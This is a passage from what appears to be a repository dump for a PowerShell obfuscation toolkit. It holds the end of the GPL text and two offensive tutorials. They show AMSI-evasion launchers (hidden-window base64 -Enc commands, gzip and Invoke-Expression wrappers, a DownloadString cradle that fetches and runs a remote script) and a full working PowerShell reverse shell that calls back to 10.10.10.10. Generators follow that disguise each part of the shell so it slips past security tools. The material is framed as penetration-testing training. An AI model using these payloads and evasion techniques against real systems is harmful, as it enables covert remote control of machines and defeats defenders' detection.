have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "launchers.md",
    "content": "# Obfuscation Launchers\n\nDespite the focus of this tool being built around avoiding encapsulation-based launchers for your obfuscation endeavors, there is still an opportunity here for a knowledge transfer on how to build these launchers. You can still achieve various levels of success with these approaches, so long as you introduce obfuscation on these layers and the intended payload. Keep in mind that if your launcher gets flagged, then your intended payload won't matter, so you need an adequate amount of effort on both fronts.\n\nThere are many different techniques available, but these are just to get you an idea of some of the more common approaches. \n\n### Launchers\n\n1. Base64 Encoded Commands\n2. Base64 Expressions\n3. GZip Compression\n4. Payload / String Reversing\n5. Download String\n\n## Base64 Encoded Commands\n\nPowerShell supports the ability to execute base64 encoded commands right from the command line with some extra goodies. It also allows you use partial parameter names so long as it's unambiguous, which is a common practice with this launcher. This is arguably the most popular approach and is also one of the easiest to discover when reviewing the logs.\n\nHere is a breakdown of these parameters and what they do:\n\n* -NoP - (-NoProfile) - Does not load the Windows PowerShell profile.)\n* -NonI - (-NonInteractive) - Does not present an interactive prompt to the user.\n* -W Hidden (-WindowStyle) - Sets the window style to Normal, Minimized, Maximized or Hidden.\n* -Exec Bypass (-ExecutionPolicy) - Sets the default execution policy for the current session and saves it\n    in the $env:PSExecutionPolicyPreference environment variable.\n    This parameter does not change the Windows PowerShell execution policy\n    that is set in the registry.\n* -Enc (-EncodedCommand) - Accepts a base-64-encoded string version of a command. Use this parameter\n    to submit commands to Windows PowerShell that require complex quotation\n    marks or curly braces.\n    \nhttps://docs.microsoft.com/en-us/windows-server/administration/windows-commands/powershell\n\n```powershell\n# Generator\n$command = 'Write-Output \"Try Harder\"'\n$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)\n$base64 = [Convert]::ToBase64String($bytes)\n\n# Launcher\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc 'VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgAgAA=='\n```\n\n## Base64 Expressions\n\nWhere the previous scenario allows you to execute base64 encoded payloads from the command line, this approach allows you to execute base64 encoded strings within your script itself. \n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.1\n\n```powershell\n# Generator\n$command = 'Write-Output \"Try Harder\"'\n$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)\n$base64 = [Convert]::ToBase64String($bytes)\n\n# Launcher\nInvoke-Expression ([System.Text.Encoding]::Unicode.GetString(([convert]::FromBase64String('VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgA=\n'))))\n```\n\n## Gzip Compression\n\nCompression can aid in both evading AMSI (sometimes) and makes it a little tricky to deconstruct. This will take a given payload and compress it into a gzip object then it'll get encoded so it can be stored within the payload. The sneakiness is that you will need to know how to properly decode it or else your payload will be look unintelligible. Keep in mind that not everyone is comfortable with PowerShell so it may not be that straight forward to extract the intended payload.\n\nhttps://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream?view=net-5.0\n\n```powershell\n# Generator\n$command = 'Write-Output \"Try Harder\"'\n\n## ByteArray\n$byteArray = [System.Text.Encoding]::ASCII.GetBytes($command)\n\n## GzipStream\n[System.IO.Stream]$memoryStream = New-Object System.IO.MemoryStream\n[System.IO.Stream]$gzipStream = New-Object System.IO.Compression.GzipStream $memoryStream, ([System.IO.Compression.CompressionMode]::Compress)\n$gzipStream.Write($ByteArray, 0, $ByteArray.Length)\n$gzipStream.Close()\n$memoryStream.Close()\n[byte[]]$gzipStream = $memoryStream.ToArray()\n\n## Stream Encoder\n$encodedGzipStream = [System.Convert]::ToBase64String($gzipStream)\n\n## Decoder Encoder\n[System.String]$Decoder = '$decoded = [System.Convert]::FromBase64String(\"<Base64>\");$ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length));iex(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()'\n[System.String]$Decoder = $Decoder -replace \"<Base64>\", $encodedGzipStream\n\n# Launcher\n$decoded = [System.Convert]::FromBase64String(\"H4sIAAAAAAAEAAsvyixJ1fUvLSkoLVFQCimqVPBILEpJLVICAGWcSyMZAAAA\")\n$ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length))\nInvoke-Expression (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()   \n```\n\n## Payload / String Reversing\n\nYou can reverse virtually anything that can be split into a character array and stored. You'll see this more often with base64 encoded strings, however, you can also store reversed commands within a payload as well.\n\nhttps://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/everything-about-arrays?view=powershell-7.1\n\n```powershell\n# Generator\n$Command = 'Write-Output \"Try Harder\"'.ToCharArray()\n$Reversed = @()\n($Command.length - 1)..0 | ForEach-Object {\n    $Reversed += $Command[$_]\n}\n$Reversed = $Reversed -join ''\n\n# Launcher\n$Reversed = '\"redraH yrT\" tuptuO-etirW'\n$Normal = @()\n($Reversed.length - 1)..0 | ForEach-Object {\n    $Normal += $Reversed[$_]\n}\n$Normal = $Normal -join ''\nInvoke-Expression $($Normal -join '')\n```\n\n## Download String\n\nThis is an approach you can take when you are launching a payload that is hosted on a website, which helps keeps your payload off your targets disk. Depending on the web server, you may need to enable additional TLS protocols. This can be done by incorporating `[System.Net.ServicePointManager]` and `[System.Net.SecurityProtocolType]` as shown below prior to executing your `System.Net.WebClient` call.\n\n\n```powershell\n# List configured protocols\n[Net.ServicePointManager]::SecurityProtocol\n\n# Enable TLSv1.2\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\n\n# Enable SSLv3.0\n[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::ssl3\n\n# Enable TLSv1.0, TLSv1.1 and TLSv1.2\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12,[Net.SecurityProtocolType]::Tls11,[Net.SecurityProtocolType]::Tls\n\n# Launcher\nInvoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1/payload.ps1')\n```\n\n"
  },
  {
    "path": "layer-0-obfuscation.md",
    "content": "# PowerShell Obfuscation\n\nAs penetration testers, we use obfuscation in our payloads to bypass various security controls and to buy ourselves time in the event our payload is obtained by a blue team. PowerShell is no exception when it comes to obfuscation. While there exists many different strategies and techniques, some of the more common approaches encapsulate the entire payload within a layer. This inadvertently creates a chokepoint as it makes it easier to break down and tends to get you busted if the presented layer starts get you flagged before the intended payload executes.\n\nPowerShell obfuscation can sometimes be an intimidating topic and frustrating when the common tools start to bust you. What I am looking to do here is to open your eyes to a slightly different approach that could help inspire you to create your very own techniques.\n\n## AMSI\n\nThe Windows Antimalware Scan Interface (AMSI) is essentially an API that allows applications (such as anti-virus) to scan various types of content in memory before it's executed. Think of AMSI as an additional security check for your system. Keep in mind that AMSI is not limited to just anti-virus as it's also integrated into these components of Windows 10:\n\n* User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)\n* PowerShell (scripts, interactive use, and dynamic code evaluation)\n* Windows Script Host (wscript.exe and cscript.exe)\n* JavaScript and VBScript\n* Office VBA macros\n\nThe challenge that this will present to us is that if we use common payloads without making any modifications, or even obfuscation tools that are outdated, then it will more than likely get flagged. As we mentioned before, some of the more techniques include the use of layering logic to hide your payloads in plain sight. Here are some of those techniques to give you an idea on how they're generated and how the final launcher appears in your payloads.\n\n### Base64 Encoded Commands\n\nPowerShell supports the ability to execute base64 encoded commands right from the command line with some extra goodies. It also allows you use partial parameter names so long as it's unambiguous, which is a common practice with this particular launcher. This is arguably the most popular approach and is also one of the easiest to discover when reviewing the logs.\n\nHere is a break down of these parameters and what they do:\n\n* -NoP - (-NoProfile) - Does not load the Windows PowerShell profile.)\n* -NonI - (-NonInteractive) - Does not present an interactive prompt to the user.\n* -W Hidden (-WindowStyle) - Sets the window style to Normal, Minimized, Maximized or Hidden.\n* -Exec Bypass (-ExecutionPolicy) - Sets the default execution policy for the current session and saves it\n    in the $env:PSExecutionPolicyPreference environment variable.\n    This parameter does not change the Windows PowerShell execution policy\n    that is set in the registry.\n* -Enc (-EncodedCommand) - Accepts a base-64-encoded string version of a command. Use this parameter\n    to submit commands to Windows PowerShell that require complex quotation\n    marks or curly braces.\n    \nhttps://docs.microsoft.com/en-us/windows-server/administration/windows-commands/powershell\n\n```powershell\n# Generator\n$command = 'Write-Output \"Try Harder\"'\n$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)\n$base64 = [Convert]::ToBase64String($bytes)\n\n# Launcher\npowershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc 'VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgAgAA=='\n```\n\n### Base64 Expressions\n\nWhere the previous scenario allows you to execute base64 encoded payloads from the command line, this method enables you to execute base64 encoded strings within your script itself. \n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.1\n\n```powershell\n# Generator\n$command = 'Write-Output \"Try Harder\"'\n$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)\n$base64 = [Convert]::ToBase64String($bytes)\n\n# Launcher\nInvoke-Expression ([System.Text.Encoding]::Unicode.GetString(([convert]::FromBase64String('VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAFQAcgB5ACAASABhAHIAZABlAHIAIgA=\n'))))\n```\n\n### Compression\n\nCompression obfuscation can aid in both evading AMSI (sometimes) and makes it a little tricky to deconstruct. This will take a given payload and compress it into a gzip object then it'll get encoded so it can be stored within the payload. The sneakiness is that you will need to know how to properly decode it or else your payload will be look be unintelligible. Keep in mind that not everyone is comfortable with PowerShell so it may not be that straight forward to extract the intended payload.\n\nhttps://docs.microsoft.com/en-us/dotnet/api/system.io.compression.gzipstream?view=net-5.0\n\n```powershell\n# Generator\n$command = 'Write-Output \"Try Harder\"'\n\n## ByteArray\n$byteArray = [System.Text.Encoding]::ASCII.GetBytes($command)\n\n## GzipStream\n[System.IO.Stream]$memoryStream = New-Object System.IO.MemoryStream\n[System.IO.Stream]$gzipStream = New-Object System.IO.Compression.GzipStream $memoryStream, ([System.IO.Compression.CompressionMode]::Compress)\n$gzipStream.Write($ByteArray, 0, $ByteArray.Length)\n$gzipStream.Close()\n$memoryStream.Close()\n[byte[]]$gzipStream = $memoryStream.ToArray()\n\n## Stream Encoder\n$encodedGzipStream = [System.Convert]::ToBase64String($gzipStream)\n\n## Decoder Encoder\n[System.String]$Decoder = '$decoded = [System.Convert]::FromBase64String(\"<Base64>\");$ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length));iex(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).readtoend()'\n[System.String]$Decoder = $Decoder -replace \"<Base64>\", $encodedGzipStream\n\n# Launcher\n$decoded = [System.Convert]::FromBase64String(\"H4sIAAAAAAAEAAsvyixJ1fUvLSkoLVFQCimqVPBILEpJLVICAGWcSyMZAAAA\")\n$ms = (New-Object System.IO.MemoryStream($decoded,0,$decoded.Length))\nInvoke-Expression (New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()   \n```\n\n### Payload Reversing\n\nYou are able to reverse virtually anything that can be split into a character array. You'll see this more often with base64 encoded strings, however, you can also store reversed commands within a payload as well.\n\nhttps://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/everything-about-arrays?view=powershell-7.1\n\n```powershell\n# Generator\n$Command = 'Write-Output \"Try Harder\"'.ToCharArray()\n$Reversed = @()\n($Command.length - 1)..0 | ForEach-Object {\n    $Reversed += $Command[$_]\n}\n$Reversed = $Reversed -join ''\n\n# Launcher\n$Reversed = '\"redraH yrT\" tuptuO-etirW'\n$Normal = @()\n($Reversed.length - 1)..0 | ForEach-Object {\n    $Normal += $Reversed[$_]\n}\n$Normal = $Normal -join ''\nInvoke-Expression $Normal\n```\n\n## Layer 0 Obfuscation\n\nWhile layered approaches can have varied degrees of success, you will be more effective by learning different ways to represent the code within your payloads before wrapping them in layers such as what was illustrated previously.\n\nLet's consider the following command that was used in our previous samples: `Write-Output \"Try Harder\"`. With this code, we could change it up in a variety of ways such as:\n\n1. Obfuscating the cmdlet 'Write-Output'\n2. Obfuscating the string 'Try Harder'\n3. Combining the first two items together\n\nLet's see this in action:\n\n#### Obfuscating the cmdlet 'Write-Output'\n\nThis will take a given string and split each character down into it's ASCII equivalent. When you pass a string with `&` or the call operator, it will effectively execute that command. Because of this, you can form the cmdlet in any form so long as the resulting object reflects the cmdlet in question.\n\n```powershell\n# Generator\n$Cmdlet = 'Write-Output'\n$NewValue = '& ([string]::join('''', ( (' + (([int[]][char[]]$Cmdlet | ForEach-Object {$_}) -join ',') + ') |%{ ( [char][int] $_)})))'\n\n# Launcher\n& ([string]::join('', ( (87,114,105,116,101,45,79,117,116,112,117,116) |%{ ( [char][int] $_)}))) \"Try Harder\"\n```\n\n#### Obfuscating the string 'Try Harder'\n\nYou can do so much with strings. In this example, it will split the given string into it's given ASCII value, then concatentate them together within an expression grouping operator `$()`. When this runs, the resulting object is seen as the intended string, therefor outputing our intended when combined with the write-output cmdlet.\n\n```powershell\n# Generator\n$String = 'Try Harder'\n$NewValue = '$(' + (([int[]][char[]]$String | ForEach-Object { \"[char]$($_)\" }) -join '+') + ')'\n\n# Launcher\nWrite-Output $([char]84+[char]114+[char]121+[char]32+[char]72+[char]97+[char]114+[char]100+[char]101+[char]114)\n```\n\n#### Combining our obfuscated components together\n\nTaking the magic from both of these samples, we can combine them into a single command that effectively hides our original command.\n\n```powershell\n& ([string]::join('', ( (87,114,105,116,101,45,79,117,116,112,117,116) |%{ ( [char][int] $_)}))) $([char]84+[char]114+[char]121+[char]32+[char]72+[char]97+[char]114+[char]100+[char]101+[char]114)\n```\n\nWhile we have clearly altered the original code, we have achieved the intended output without encapsulating our entire payload. At this point, you need to determine whether or not you obfuscating your code at this level is enough, or if want to wrap your payload within additional layers. Keep in mind that if you go through route, ensure each layer is obscured to a degree.\n\n![Alt text](./screenshots/layer-0-examples.png \"layer-0-examples\")\n\n## Breaking Down a Reverse Shell\n\nLet’s move into a more practical example by breaking down the vanilla PowerShell reverse shell. There are lots of components within PowerShell scripts that can be represented differently. While some components are obvious and straight forward, others exist that you may or may not have thought about changing. \n\nLet's familiarize ourselves with the raw payload. To keep it readable, I have converted the one-liner to a multi-line derivative. This payload will establish a connection from the machine it was launched on to a listening socket on a remote computer. While the connection is established, the machine it was intiated on will execute commands sent from the remote machine and will send the response back through the connection. With the design of the sendback variables, it will look just like the typical PowerShell command line. \n\n```powershell\n$client = New-Object System.Net.Sockets.TCPClient(\"10.10.10.10\",80)\n$stream = $client.GetStream()\n[byte[]]$bytes = 0..65535|%{0}\nwhile(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)\n{\n  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)\n  $sendback = (iex $data 2>&1 | Out-String )\n  $sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \"\n  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)\n  $stream.Write($sendbyte,0,$sendbyte.Length)\n  $stream.Flush()\n}\n$client.Close()\n```\n\n### Payload Components\n\nNearly all the components of a payload can be represented differently. Anything from string manipulation or pipeline chaining is fair game. Let's take a look at the components we will be targeting from the reverse shell payload.\n\n* Aliases (iex)\n* Cmdlets (New-Object)\n* Integers (4444)\n* Methods ($client.GetStream())\n* Namespace Classes (System.Net.Sockets.TCPClient)\n* Pipes (|)\n* Pipeline Variables ($_)\n* Socket IP (New-Object System.Net.Sockets.TCPClient(\"10.10.10.10\",80))\n* Strings (\"value\" | 'value')\n* Variables ($client)\n\n### Generators\n\nThis is where the real fun begins and where you can let your creativity shine. What we'll do here is for each componented listed above, I will provide a sample generator that will provide a new value to take it's place. Handling each component separetely will enable us to drastically expand upon this approach, which I'll get into later.\n\n### Aliases\n\nAliases are simply just shortcuts to an intended cmdlet. For example, the alias `iex` translate to `invoke-expression`. This is trivial to identify. Aliases are just as simple to identify as cmdlets so using them to try to slip through the cracks isn't very feasable. Because of this, I resolve them into their intended cmdlet to be handled differently.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_aliases?view=powershell-7.1\n\n```powershell\nPS /home/tristram/Obfuscation> Get-Alias iex,pwd\n\nCommandType     Name                                               Version    Source\n-----------     ----                                               -------    ------\nAlias           iex -> Invoke-Expression                                      \nAlias           pwd -> Get-Location             \n```\n\n### Cmdlets\n\nWithin the context of PowerShell, cmdlets are essentially just commands. Due to the continued support of the call operator `&`, we have plenty of wiggle room to come up with new ways to represent a cmdlet so long as the passed value evaluates to a valid cmdlet. \n\nhttps://ss64.com/ps/call.html\n\n```powershell\n# Generator\n$cmdlet = 'invoke-expression'\n\n# All valid characters in a cmdlet name\n$valid = ('-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Sort-Object { Get-Random }) -join ''\n$replaceWith = $valid.ToCharArray()\n$extractedCharArray = @()\n$cmdletCharArray = $cmdlet.ToCharArray()\n\n# Loop through each character within each command\nForEach ($char in $cmdletCharArray) {\n    If ($char -in $replaceWith) {\n        $extractedCharArray += $([array]::IndexOf($replaceWith, $char))\n    }\n}\n\n$NewValue = \"& ((\"\"$valid\"\")[$($extractedCharArray -join ',')] -join '')\"\n\n# New Value\n& ((\"3oFAIQdPcNvzU72CELRwGlMTDxfe1iVtp8OuWq-jsYyJHSakm69nb5XBZg4K0hr\")[29,51,10,1,47,27,38,27,25,32,62,27,40,40,29,1,51] -join '')\n```\n\n### Integers\n\nThese are simply just numeric values. One of the ways we change these static values is to incorporate them into arthmetic operators that evalute to the intended value. For example, using PowerShell, we can represent the integer `1` as `$(1000-100-500-300-90+20-29)`. You need to be careful when dealing with integers with powershell. For example, `'80'` and `80` are different object types and you could break your payload.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arithmetic_operators?view=powershell-7.1\n\n```powershell\n# Generator\n$integer = 80\n$newValue = $integer\n\n(1..(1..10 | Get-Random) | ForEach-Object {\n    # Plus or Minus\n    switch ((1..2 | Get-Random)) {\n        1 { $operator = '+' }\n        2 { $operator = '-' }\n    }\n    \n    # Left or Right\n    switch ((1..2 | Get-Random)) {\n        1 { $newValue = \"0$operator$newValue\" }\n        2 { $newValue = \"$newValue$operator0\" }\n    }\n} )\n\n\n# Ensure we do not create negative values\nif ($newValue -like \"*0-$integer*\" ) {\nswitch ((1..2 | Get-Random)) {\n    1 { $newValue = '$' + \"($newValue+$integer+$integer)\" }\n    2 { $newValue = '$' + \"($integer+$integer+$newValue)\" }\n}   \n}\nelse {\n$newValue = '$' + \"($newValue)\"   \n}\n\n# New Value\n$(0-80+80+80)\n```\n\n### Methods\n\nMethods are simply actions that we can perform against a preceding object. For example, we can use `Get-Process Notepad` to obtain a process object. One of the methods we can execute on this object is `kill` to effectively shutdown this process, ie `(Get-Process Notepad).Kill()`.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_methods?view=powershell-7.1\n\n```powershell\n# Generator\n$Method = '$client.close()'\n$CharArrayString = ($Method.ToCharArray() | ForEach-Object { [int][char]$_ }) -join \",\"\n$NewValue = '<iex> ([string]::join('''', ( (<OBFUSCATED>) |%{ ( [char][int] $_)})) | % {$_})' -replace '<OBFUSCATED>', $CharArrayString -replace '<iex>', '& ((\"H7zdxIAG6PlRgvqZspJ2Fi1cMnOjKEV-kwWQaSfoh9tuYU3me0r4NXTBLy85DCb\")[21,25,13,39,32,48,31,48,4,17,50,48,16,16,21,39,25] -join '')'\n\n# New Value\n& ((\"H7zdxIAG6PlRgvqZspJ2Fi1cMnOjKEV-kwWQaSfoh9tuYU3me0r4NXTBLy85DCb\")[21,25,13,39,32,48,31,48,4,17,50,48,16,16,21,39,25] -join ') ([string]::join('', ( (36,99,108,105,101,110,116,46,99,108,111,115,101,40,41) |%{ ( [char][int] $_)})) | % {$_})\n```\n\n### Namespace Classes\n\nThe `New-Object` cmdlet allows us to creates instances of various types of objects. Within the reverse shell we have already taken care of the cmdlet itself, which leaves the class declaration. This is effectively just a matter of being fancy with string manipulation. If you look at our previous use case with `Write-Output \"Try Harder\"`, this is the same concept.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/new-object?view=powershell-7.1\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_classes?view=powershell-7.1\n\n```powershell\n# Generator\n$NamespaceClass = 'System.Net.Sockets.TCPClient'\n$Chars = ([int[]][char[]]$NamespaceClass | ForEach-Object { \n    $OrigChar = $_\n    $Random = 1..122 | Get-Random\n    $Iteration = (1..3 | get-random)\n    if ($Iteration -eq 1) {\n        \"[char]($Random+$OrigChar-$Random)\"\n    }\n    elseif (($Iteration -eq 2)) {\n        \"[char]($Random*$OrigChar/$Random)\"\n    }\n    elseif (($Iteration -eq 3)) {\n        \"[char](0+$OrigChar-0)\"\n    }\n}) -join '+'\n$NewValue = '$(<OBFUSCATED>)' -replace '<OBFUSCATED>', $Chars\n\n# New Value\n$([char](63*83/63)+[char](0+121-0)+[char](104*115/104)+[char](108*116/108)+[char](50*101/50)+[char](0+109-0)+[char](71*46/71)+[char](28+78-28)+[char](84+101-84)+[char](118+116-118)+[char](89+46-89)+[char](51+83-51)+[char](65*111/65)+[char](111*99/111)+[char](0+107-0)+[char](104*101/104)+[char](16+116-16)+[char](61*115/61)+[char](47+46-47)+[char](32+84-32)+[char](33+67-33)+[char](37+80-37)+[char](10*67/10)+[char](76*108/76)+[char](3*105/3)+[char](91+101-91)+[char](71+110-71)+[char](69+116-69))\n```\n\n### Pipes\n\nPipes, or pipeline operators, takes the results from one command and passes it to another object. This allows you to seemlessly integerate logic between different powershell commands. For example, `Get-Service` will provide you every service on the device, but if you pipe it you `Where-Object`, you can apply logic to only get a specific service object back, ie `Get-Service | Where-Object { $_.Name -eq 'bits' }`, otherwise it will output every service.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pipelines?view=powershell-7.1\n\n```powershell\n# Generator\nSwitch (Get-Random -Minimum 1 -Maximum 6) {\n  1 { $NewValue = '|%{$_}|' }\n  2 { $NewValue = '|%{;$_}|' }\n  3 { $NewValue = '|%{$_;}|' }\n  4 { $NewValue = '|%{;$_;}|' }\n  5 { $NewValue = '|<##>%{$_}<##>|' \n}\n\n# New Value\n|%{;$_}|\n```\n\n### Pipeline Variables\n\nPipeline variables are the values the store the current object within a pipeline operation. Using our previous example with pipes, the pipeline variable `$_` is used to determine whether or not the current object's name is bits. Keep in mind that obfuscation isn't just about masking content, but making it harder to understand by surrounding it with obligatory values.\n\nhttps://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables?view=powershell-7.1\n\n```powershell\n# Generator\nSwitch ((Get-Random -Minimum 1 -Maximum 6)) {\n    1 { $NewValue = '<##>$_' }\n    2 { $NewValue = '$_<##>' }\n    3 { $NewValue = '<##>$_<##>' }\n    4 { $NewValue = '<##>$($_)' }\n    5 { \n        $Random1 = ('<#' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '') + '#>')\n        $NewValue = '<#1#>$_' -replace '<#1#>', $Random1\n    }\n}\n\n# New Value\n<##>$($_)\n```\n\n### Socket Listener IP\n\nTypically with your socket client declarations, IE `$client = New-Object System.Net.Sockets.TCPClient(\"10.10.10.10\",80)`, the IP is a string and the port is an integer, which would fall under different component types. However, I like to handle them differently. It's not a necessity though, just an extra step.\n\n```powershell\n# Generator\n$ipAddress = \"10.10.10.10\"\n\n$randomSet = 1..4 | ForEach-Object { (((48..57) + (65..90) + (97..122) | Get-Random -Count (5..25 | Get-Random) | ForEach-Object { [char]$_ }) -join '') }\n$validSet = $ipAddress.split('.')\n$stage1 = '\"' + ($randomSet -join '.') + '\"'\n\n0..3 | ForEach-Object {\n    $ro = $($randomSet[$_])\n    $vo = $($validSet[$_])\n    $stage2 += \".replace('$ro',$vo)\"\n}\n\n$newValue = \"$stage1.replace$(($Stage2 -split '.replace' | ? {$_} | sort-object {get-random}) -join '.replace')\"\n\n# New 